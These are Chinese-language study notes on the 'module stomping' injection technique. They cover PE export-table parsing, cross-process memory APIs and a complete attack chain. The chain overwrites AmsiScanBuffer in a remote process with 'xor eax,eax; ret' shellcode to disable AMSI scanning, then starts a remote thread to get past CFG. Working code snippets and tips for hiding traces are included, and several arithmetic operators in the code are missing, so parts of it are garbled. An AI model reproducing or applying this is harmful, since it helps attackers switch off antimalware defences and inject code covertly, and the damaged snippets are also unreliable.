# 模块踩踏（Module Stomping）知识点整理

**核心目标：理解“模块踩踏”与“Code Cave 注入”的本质区别，掌握覆盖已加载合法 DLL 的导出函数的注入技术，利用 CreateRemoteThread 入口点落在合法模块范围内来绕过 CFG（控制流保护），实现隐蔽的代码执行。**

- **涉及的核心结构体**

**(一) IMAGE_DOS_HEADER（DOS 头）**

```
typedef struct _IMAGE_DOS_HEADER {
    WORD    e_magic;          // 0x00   "MZ"（0x5A4D）
    // … 省略中间字段
    LONG    e_lfanew;         // 0x3C   ← 指向 NT 头的文件偏移量
} IMAGE_DOS_HEADER;
```

用途：校验 PE 文件有效性，读取 e_lfanew 跳转到 NT 头。

**(二) IMAGE_NT_HEADERS（NT 头）**

```
typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;                          // 0x00   "PE\0\0"
    IMAGE_FILE_HEADER FileHeader;             // 0x04
    IMAGE_OPTIONAL_HEADER OptionalHeader;     // 0x18
} IMAGE_NT_HEADERS;
```

用途：读取 OptionalHeader.DataDirectory[0] 获取导出表 RVA。

- **IMAGE_EXPORT_DIRECTORY（导出表）**

```
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics;          // 0x00
    DWORD TimeDateStamp;            // 0x04
    WORD    MajorVersion;           // 0x08
    WORD    MinorVersion;           // 0x0A
    DWORD Name;                     // 0x0C
    DWORD Base;                     // 0x10
    DWORD NumberOfFunctions;        // 0x14
    DWORD NumberOfNames;            // 0x18   ← 按名称导出的函数数量
    DWORD AddressOfFunctions;       // 0x1C   ← 函数地址表 RVA
    DWORD AddressOfNames;           // 0x20   ← 函数名称表 RVA
    DWORD AddressOfNameOrdinals;    // 0x24   ← 函数序号表 RVA
} IMAGE_EXPORT_DIRECTORY;
```

用途：解析远程 amsi.dll 的导出表，定位 AmsiScanBuffer 的地址。

**MODULEINFO（模块信息，可选）**

```
typedef struct _MODULEINFO {
    LPVOID lpBaseOfDll;          // 模块基址
    DWORD    SizeOfImage;        // 镜像大小
    LPVOID EntryPoint;           // 入口点
} MODULEINFO;
```

用途：GetModuleInformation 返回，本课代码未使用，但可作为扩展了解。

- **涉及的关键宏与常量**

| 宏/常量 | 值 | 作用 |
| --- | --- | --- |

| | | |
|---|---|---|
| IMAGE_DOS_SIGNATURE | 0x5A4D | 校验 DOS 头（"MZ"） |
| IMAGE_NT_SIGNATURE | 0x00004550 | 校验 NT 头（"PE\0\0"） |
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0 | 数据目录索引：导出表 |
| PROCESS_VM_READ | 0x0010 | 允许读取进程内存 |
| PROCESS_VM_WRITE | 0x0020 | 允许写入进程内存 |
| PROCESS_VM_OPERATION | 0x0008 | 允许修改进程内存属性 |
| PROCESS_QUERY_INFORMATION | 0x0400 | 允许查询进程信息 |
| PROCESS_CREATE_THREAD | 0x0002 | 允许创建远程线程 |
| PAGE_EXECUTE_READ | 0x20 | 可读可执行 |

- **涉及的 API 函数**

**(一) 进程与模块枚举**

**OpenProcess 打开目标进程**

```
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

**[in] dwDesiredAccess**

对进程对象的访问权限。此访问权限将根据进程的安全描述符进行检查。此参数可以是一个或多个进程访问权限的任意组合。如果调用方已启用 SeDebugPrivilege 特权，则无论安全描述符的内容如何，都会授予所请求的访问权限。

**[in] bInheritHandle**

如果此值为 TRUE，则由此进程创建的进程将继承该句柄。否则，进程将不会继承此句柄。

**[in] dwProcessId**

要打开的本地进程的标识符。

**权限组合：**PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD

**原因：**写入内存需要 VM_WRITE 和 VM_OPERATION，创建线程需要 CREATE_THREAD，查询模块需要 QUERY_INFORMATION

**EnumProcessModules 枚举进程模块**

```
BOOL EnumProcessModules(
  [in]  HANDLE  hProcess,
  [out] HMODULE *lphModule,
  [in]  DWORD   cb,
  [out] LPDWORD lpcbNeeded
);
```

**[in] hProcess**

进程的句柄。

**[out] lphModule**

接收模块句柄列表的数组。

如果此参数为 NULL，则 cb 必须为 0，并且函数会将所需字节数返回给 lpcbNeeded。

**[in] cb**

lphModule 数组的大小，以字节为单位。如果 lphModule 为 NULL，则 cb 必须为 0。

**[out] lpcbNeeded**

在 lphModule 数组中存储所有模块句柄所需的字节数。

如果 lphModule 为 NULL，则此参数接收所需字节数。

如果 cb 太小，则此参数接收所需字节数。

**用途：**获取目标进程加载的所有模块

- **GetModuleBaseNameA 获取模块名**

```
DWORD GetModuleBaseNameA(
  [in]                HANDLE    hProcess,
  [in, optional] HMODULE hModule,
  [out]               LPSTR     lpBaseName,
  [in]                DWORD     nSize
);
```

**[in] hProcess**

包含模块的进程的句柄。

**[in, optional] hModule**

模块的句柄。如果此参数为 NULL，则此函数返回用于创建调用进程的文件的名称。

**[out] lpBaseName**

指向接收模块基名称的缓冲区的指针。

如果基名称长于 nSize 参数指定的最大字符数，则基名称将被截断。

**[in] nSize**

lpBaseName 缓冲区的大小，以字符为单位。

**用途：**获取模块文件名（如 "amsi.dll"）

**(二) 本地 DLL 加载与函数解析**

- **GetModuleHandleA 获取本地模块句柄**

```
HMODULE GetModuleHandleA(
  [in, optional] LPCSTR lpModuleName
);
```

**[in, optional] lpModuleName**

已加载模块的名称（.dll 或 .exe 文件）。

**用途：**如果本地已加载 amsi.dll，直接拿句柄。返回 NULL 表示未加载

- **LoadLibraryA 加载本地 DLL**

```
HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);
```

**[in] lpLibFileName**

模块的名称。可以是库模块（.dll 文件），也可以是可执行模块（.exe 文件）。

**用途：**本地未加载时，主动加载。加载后必须配对 FreeLibrary

- **GetProcAddress 获取本地函数地址**

```
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR   lpProcName
);
```

**[in] hModule**

包含函数或变量的 DLL 模块的句柄。

**[in] lpProcName**

函数或变量名称，或函数的序号值。

**用途：**拿到本地 AmsiScanBuffer 的地址，用于计算 RVA

- **FreeLibrary 卸载本地 DLL**

```
BOOL FreeLibrary(
  [in] HMODULE hLibModule
);
```

**[in] hLibModule**

已加载的库模块的句柄。

**用途：**用完即焚，把本地加载的 DLL 卸载

**注意：**只卸载自己 LoadLibraryA 的，不卸载原本就有的

**(三) 跨进程内存操作**

- **ReadProcessMemory 读取远程内存**

```
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
```

**[in] hProcess**

正在读取其内存的进程的句柄。该句柄必须具有对进程的 PROCESS_VM_READ 访问权限。

**[in] lpBaseAddress**

指向要从指定进程中读取的基址的指针。在进行任何数据传输之前，系统会验证基址和指定大小的内存中的所有数据是否可读。如果不可访问，函数将失败。

**[out] lpBuffer**

指向一个缓冲区的指针，该缓冲区接收来自指定进程地址空间的内容。

**[in] nSize**

要从指定进程读取的字节数。

**[out] lpNumberOfBytesRead**

指向一个变量的指针，该变量接收传输到指定缓冲区的字节数。如果该参数 LL，则该参数被忽略。

**用途：**读取远程 DOS 头、NT 头、导出表、函数名

- **WriteProcessMemory 写入远程内存**

```
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

用途：把 Shellcode 覆写到 AmsiScanBuffer 的地址

**(四) 远程线程执行**

- **CreateRemoteThread 创建远程线程**

```
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

**[in] hProcess**

要在其中创建线程的进程句柄。

**[in] lpThreadAttributes**

指向 SECURITY_ATTRIBUTES 结构的指针，该结构指定新线程的安全描述符，并确定子进程是否可以继承返回的句柄。如为 NULL，则线程将获取默认的安全描述符。

**[in] dwStackSize**

堆栈的初始大小（以字节为单位）。系统将此值舍入到最近的页面。

如果此参数为 0（零），则新线程使用可执行文件的默认大小。

**[in] lpStartAddress**

指向由线程执行的 LPTHREAD_START_ROUTINE 类型的应用程序定义的函数的指针，表示远程进程中线程的起始地址。函数必须存在于远程进程中。

**[in] lpParameter**

指向要传递给线程函数的变量的指针。

**[in] dwCreationFlags**

控制线程创建的标志。这里用 0：创建后，线程会立即运行。

**[out] lpThreadId**

指向接收线程标识符的变量的指针。如果此参数为 NULL，则不返回线程标识符。

**关键：**lpStartAddress 指向 AmsiScanBuffer 的地址（合法模块内），CFG 会放行

- **WaitForSingleObject 等待线程结束**

```
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);
```

**[in] hHandle**

对象的句柄。

**[in] dwMilliseconds**

超时间隔，以毫秒为单位。

- 如果指定了非零值，函数会等待，直到对象处于信号状态或间隔结束。
- 如果 dwMilliseconds 为零，则当对象未处于信号状态时，函数不会进入等待状态；它会立即返回。
- 如果 dwMilliseconds 为 INFINITE，则函数仅在对象处于信号状态时才返回。

- **GetExitCodeThread 获取线程退出码**

```
BOOL GetExitCodeThread(
  [in]  HANDLE  hThread,
```

```
  [out] LPDWORD lpExitCode
);
```

**[in] hThread**

线程的句柄。

**[out] lpExitCode**

指向用于接收线程终止状态的变量的指针。

- **CloseHandle 关闭句柄**

```
BOOL CloseHandle(
  [in] HANDLE hObject
);
```

**[in] hObject**

打开对象的有效句柄。

- **完整的利用链**

```
第 1 步：打开目标进程
    OpenProcess(PROCESS_VM_READ | ~_VM_WRITE | ~_VM_OPERATION |
                ~_QUERY_INFORMATION | ~_CREATE_THREAD, FALSE, pid)
        |
        └──── 拿到 hProcess

第 2 步：在目标进程找到 amsi.dll
    EnumProcessModules(hProcess, modules, sizeof(modules), &needed)
        |
        └──── 遍历 modules，用 GetModuleBaseNameA 匹配 "amsi.dll"
        |
        └──── 拿到 hRemoteAmsi（远程 amsi.dll 基址）

第 3 步：计算远程 AmsiScanBuffer 地址（核心）
    ① GetModuleHandleA("amsi.dll") → 本地句柄（未加载则 LoadLibraryA）
    ② GetProcAddress(hLocalModule, "AmsiScanBuffer") → 本地函数地址
    ③ rva = pLocalFunc  hLocalModule（本地 RVA）
    ④ pRemoteFunc = hRemoteAmsi + rva（远程绝对地址）
    ⑤ FreeLibrary(hLocalModule)（用完即焚）
        |
        └──── 拿到 pRemoteFunc（远程 AmsiScanBuffer 地址）

第 4 步：覆写 AmsiScanBuffer
    WriteProcessMemory(hProcess, pRemoteFunc, shellcode, shellcodeSize, NULL)
        |
        └──── AmsiScanBuffer 的代码被 Shellcode 替换

第 5 步：创建远程线程执行
    CreateRemoteThread(hProcess, NULL, 0,
                       (LPTHREAD_START_ROUTINE)pRemoteFunc, NULL, 0, NULL)
        |
```

```
        └──── CFG 放行（因为 pRemoteFunc 在合法模块内）

第 6 步：等待并清理
    WaitForSingleObject(hThread, INFINITE)
    GetExitCodeThread(hThread, &exitCode)
    CloseHandle(hThread)
    CloseHandle(hProcess)
```

**文字总结：**

- 打开进程 → 获取足够权限的句柄
- 枚举模块 → 找到目标 DLL（如 amsi.dll）
- 计算远程地址 → 本地 RVA + 远程基址 = 远程函数地址（**核心**）
- 覆写函数 → 用 Shellcode 替换原函数代码
- 创建远程线程 → 入口点指向被覆写的函数（CFG 放行）
- 等待清理 → 确保执行完毕，释放资源

- **其他必要的扩展知识点**

**(一) 模块踩踏 vs Code Cave 注入 vs 进程镂空**

| 技术 | 写入位置 | 是否新分配内存 | CFG 放行 |
|---|---|---|---|
| Code Cave 注入 | .text 节空隙 | 否 | 否 |
| 模块踩踏 | 覆盖导出函数 | 否 | 是 |
| 进程镂空 | 清空原 PE 后重建 | 是 | 否 |
| 经典注入 | VirtualAllocEx 新内存 | 是 | 否 |

**模块踩踏的核心优势：**

- 不分配新内存：内存扫描工具看不到异常的 PAGE_EXECUTE_READWRITE 页
- 不创建新模块：模块列表中看不到新增 DLL
- CFG 放行：入口点落在合法模块内，控制流保护不会拦截

**(二) 为什么 AmsiScanBuffer 是经典目标**

**AMSI（Antimalware Scan Interface）是 Windows 的反恶意软件扫描接口：**

- PowerShell、VBA、JScript 等脚本引擎调用 AmsiScanBuffer 扫描脚本内容
- 如果 AmsiScanBuffer 被覆写为 xor eax, eax; ret（返回 0），则所有脚本都会被判定为“安全”

这是绕过 AMSI 检测的经典手法

**典型 Shellcode（本课使用）：**

```
unsigned char shellcode[] = {
    0x31, 0xC0,         // xor eax, eax   → 返回 0（S_OK）
    0xC3                // ret
};
```

**(三) CFG（Control Flow Guard）与模块踩踏的关系**

CFG 是 Windows 10 引入的控制流保护机制：

- 检查间接调用（如 CreateRemoteThread）的目标地址是否在合法模块内
- 如果地址在 VirtualAllocEx 分配的内存中 → 拦截
- 如果地址在已加载模块（如 amsi.dll）中 → 放行

**模块踩踏绕 CFG 的原理：**

- 入口点 pRemoteFunc 指向 amsi.dll 内的 AmsiScanBuffer
- CFG 检查时发现地址在合法模块内 → 放行

- 实际上该地址的代码已经被覆写为 Shellcode

**(四) 本地 RVA + 远程基址 = 远程函数地址**

**核心公式：**

```
远程函数地址 = 远程模块基址 + (本地函数地址 - 本地模块基址)
             = 远程模块基址 + RVA
```

**为什么成立**

- 同一个 DLL 在不同进程中的 RVA（相对虚拟地址）是相同的
- 因为 PE 文件的节区布局在编译时就确定了
- ASLR 只改变基址，不改变 RVA

**(五) 用完即焚：FreeLibrary 的意义**

```
if (loaded) FreeLibrary(hLocalModule);
```

**为什么要卸载：**

- 减少本地进程的内存占用
- 避免留下痕迹（本地加载了 amsi.dll 可能被监控）
- 注意：只卸载自己 LoadLibraryA 的，原本已加载的不能卸载

**(六) 远程导出表解析（无 IAT 版）**

**无 IAT 中的 FindRemoteExport 函数展示了跨进程解析导出表的方法：**

- 用 ReadProcessMemory 逐段读取远程 DOS 头、NT 头、导出表
- 每次读取都只读必要的大小（如 0x40 字节的 DOS 头）
- 不能一次性读取整个模块（可能几 MB）

**与本地解析的区别：**

- 本地解析：直接指针访问 (IMAGE_DOS_HEADER*)base
- 远程解析：必须通过 ReadProcessMemory 逐段读取

**(七) 无 IAT 版 中 InitApiFuncs 的设计模式**

**函数指针容器：**

```
struct ApiFuncs {
    pOpenProcess              OpenProcess;
    pEnumProcessModules       EnumProcessModules;
    // ...
    bool                      valid;
};
```

**为什么用结构体：**

- 避免全局静态初始化顺序问题
- 在 main 中显式初始化，确保所有依赖就绪
- valid 字段统一校验

**fallback 设计：**

```
if (!f.EnumProcessModules)
    f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(
        hKernel32, NHash32::hash("K32EnumProcessModules"));
```

如 psapi.dll 的 EnumProcessModules 找不到，从 kernel32.dll 找 K32EnumProcessModules 这是兼容性设计

- **本课必须掌握的核心代码片段**

**(一) 本地 RVA + 远程基址的计算**

```
HMODULE hLocalModule = GetModuleHandleA(dllName);
BOOL loaded = FALSE;
if (!hLocalModule) {
	hLocalModule = LoadLibraryA(dllName);
	loaded = TRUE;
}

FARPROC pLocalFunc = GetProcAddress(hLocalModule, funcName);
DWORD_PTR rva = (DWORD_PTR)pLocalFunc    (DWORD_PTR)hLocalModule;
LPVOID pRemoteFunc = (LPVOID)((DWORD_PTR)hRemoteModule + rva);

if (loaded) FreeLibrary(hLocalModule);
```

**(二) 覆写 + 创建远程线程**

```
WriteProcessMemory(hProcess, pRemoteFunc, shellcode, shellcodeSize, NULL);

HANDLE hThread = CreateRemoteThread(
	hProcess, NULL, 0,
	(LPTHREAD_START_ROUTINE)pRemoteFunc,
	NULL, 0, NULL);
```

**(三) 远程导出表解析**

```
BYTE localDos[0x40] = {0};
ReadProcessMemory(hProcess, remoteBase, localDos, 0x40, NULL);
IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos;

BYTE localNt[0x108] = {0};
ReadProcessMemory(hProcess, remoteBase + pDos>e_lfanew, localNt, 0x108, NULL);
IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt;
```